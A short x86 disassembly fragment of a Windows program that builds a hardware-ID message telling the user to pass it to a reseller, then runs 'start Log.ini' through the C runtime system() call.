mov edi, esp
mov ecx, 7
lea esi, [esp + 0x120]
push str._nHWID_1_:__s_n_nKASIH_KE_RESELLER
rep movsd dword es:[edi], dword [esi]
call fcn.00402ac0
push str.start_Log.ini
call dword [sym.imp.MSVCR100.dll_system]
add esp, 0x24
jmp 0x403607